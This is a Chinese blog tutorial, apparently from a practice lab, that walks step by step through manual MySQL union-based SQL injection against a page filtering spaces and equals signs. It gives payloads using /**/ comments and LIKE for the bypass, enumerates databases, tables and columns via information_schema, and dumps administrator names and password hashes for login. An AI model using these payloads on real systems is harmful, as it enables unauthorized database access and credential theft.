首页 > 数据库 >SQL注入-mysql绕过函数注入

SQL注入-mysql绕过函数注入

时间:2023-08-16 18:33:11浏览次数:60  
标签:语句 group like name mysql 构造 如下 SQL 注入

1.判断注入点

通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。

所以咱们构造如下语句。

//and//1//like//1

结果如下图,页面正常显示。

SQL注入-mysql绕过函数注入_十六进制

接着咱们再构造如下语句。

/**/and/**/1/**/like/**/2

发现页面报错,说明存在注入点,且为数字型。如下图

SQL注入-mysql绕过函数注入_表名_02

3. 判断字段数

通过 order by语句,咱们构造如下语句

/**/order/**/by/**/4

页面正常显示,如下图。

SQL注入-mysql绕过函数注入_sql注入_03

接下来,咱们输入如下语句。

/**/order/**/by/**/5

发现页面报错,说明数据库里有四个字段,如下图。

SQL注入-mysql绕过函数注入_字段_04

4. 判断回显位置

通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。

/**/union/**/select/**/1,2,3,4/**/#

结果如下图,我们发现,2,3,两个位置回显到页面上了。

SQL注入-mysql绕过函数注入_十六进制_05

5. 爆库

通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。

/**/union/**/select/**/1,database(),3,4/**/#

结果去下图。咱们爆出了数据库名。

SQL注入-mysql绕过函数注入_字段_06

6. 爆表

由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

结果去下图,咱们爆出了两个表。

SQL注入-mysql绕过函数注入_字段_07

7. 爆字段

接下来咱们构造如下语句。

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

然后咱们发现了name,password,两个字段,如下图。

SQL注入-mysql绕过函数注入_sql注入_08

8. 爆账号密码

这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

结果如下图,查询出了管理员账号,密码。

SQL注入-mysql绕过函数注入_sql注入_09

9. 解密密码,登陆

我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

SQL注入-mysql绕过函数注入_十六进制_10

10. MySQL手工注入进阶篇实战总结

判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。

第一步,判断注入类型。构造语句

/**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2

发现报错。所以判断为数字型。

第二步,判断字段数,构造语句

/**/order/**/by/**/4和/**/order/**/by/**/5

发现4正常,5报错,说明有四个字段数。

第三步,爆库。构造语句

/**/union/**/select/**/1,database(),3,4/**/#

第四步,爆表。构造语句

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

第五步,爆字段。构造语句   构造语句

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

第六步,获取账户,密码。构造语句

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

第七步,解密,登陆。


标签:语句,group,like,name,mysql,构造,如下,SQL,注入
From: https://blog.51cto.com/u_14881360/7112193

相关文章

  • sql row_number(),rank(),row_number()的区别
    第一个,row_nubmer(),这个排序函数的特点是相同数据,先查出的排名在前,没有重复值。像我们这里呢sal相同,先查出来的数据的rank排名优先。如下图:partitionby相当于分组查询第二个,rank()函数,是跳跃排序,相同数据(这里为sal列相同)排名相同,比如并列第1,则两行数据(这里为rank列)......
  • sql复习
    第一章第二件事情:数据库了解1.学习前提条件--会一门语言2.为什么学习数据库?所有的电子设备操作核心----数据编程语言如何进行数据处理:1)--控制台打印数据2)--变量3)---数组4)---Java---集合框架--临时......
  • 如何调整MySQL InnoDB缓冲池大小?如何监控缓冲池效率?常用的warm-up策略有哪些?
    如何调整MySQLInnoDB缓冲池大小?调整InnoDB缓冲池是优化InnoDB性能的关键步骤。InnoDB缓冲池是InnoDB存储引擎在内存中缓存数据和索引的地方,适当地调整它可以大大提高数据库的性能。以下是调整InnoDB缓冲池的步骤和建议:确定合适的大小:InnoDB缓冲池应该设置......
  • MySQL---索引优化与查询优化(子查询优化)
    索引优化与查询优化子查询优化示例:优化后排序优化注意:1、orderby且不使用limit且数据量比较大时,如果select内容和索引字段不匹配,将会进行回表,优化器将不会使用索引,索引失效;......
  • 一个十分简单的增删改查系统(含MYSQL数据库安装教程)
    一个十分简单的增删改查系统(nodejs+vue)该系统采用前后端分离的方式,实现最基本的增、删、改、查功能。前端使用vue框架搭建,后端使用nodejs,数据库用mysql1.准备工作1.1安装nodejs下载nodejs,官网如下Node.js(nodejs.org)选择长期维护版,下载之后直接下一步下一步就行了......
  • 在core项目下通过Dapper对mysql执行批量操作 报at MySql.Data.MySqlClient.MySqlComma
     在core项目下通过Dapper对mysql执行批量操作一直报异常  报PushService=>UpdateKeyWordProductCountTask=>错误信息:Fatalerrorencounteredduringcommandexecution.;;;堆栈信息:atMySql.Data.MySqlClient.MySqlCommand.ExecuteReader(CommandBehaviorbehavior)at......
  • 对于MySQL的innodb存储引擎,‘select count(*) ’、‘select count(id)’、‘select co
    让我们重新审视那三个查询在InnoDB存储引擎中的行为:selectcount(*)fromtable;这个查询用于计算表中的所有行数。当使用count(*)时,MySQL不会去检查列的值,它只关心行数。对于InnoDB,这并不意味着它可以从某个内部计数器快速获取行数,而是需要对整个表或满足查询条件的相......
  • 为什么MySQL innodb的数据达到亿级别,使用‘select count(*) ’将会特别慢?
    当表的数据达到亿级别时,使用SELECTCOUNT(*)FROMtable会变得特别慢,主要是因为以下几个原因:全表扫描:SELECTCOUNT(*)FROMtable通常会导致全表扫描,除非有一些优化手段被应用(例如使用覆盖索引)。当你执行这样的查询,数据库实际上需要读取表中的每一行以计算总......
  • MySQL 8.0 参考手册——8.2优化 SQL 语句
    数据库应用程序的核心逻辑是通过SQL语句来执行的,无论是通过解释器直接发出还是通过API在后台提交。本节中的调整指南有助于提高各种MySQL应用程序的速度。指南涵盖读写数据的SQL操作、一般SQL操作的幕后开销,以及数据库监控等特定场景中使用的操作。一、优化 SELECT ......
  • mysql安全设置
    ##securitysettingplugin-load-add=connection_control.soconnection-control=FORCEconnection-control-failed-login-attempts=FORCEconnection_control_min_connection_delay=3600000connection_control_max_connection_delay=3600000connection_control_failed......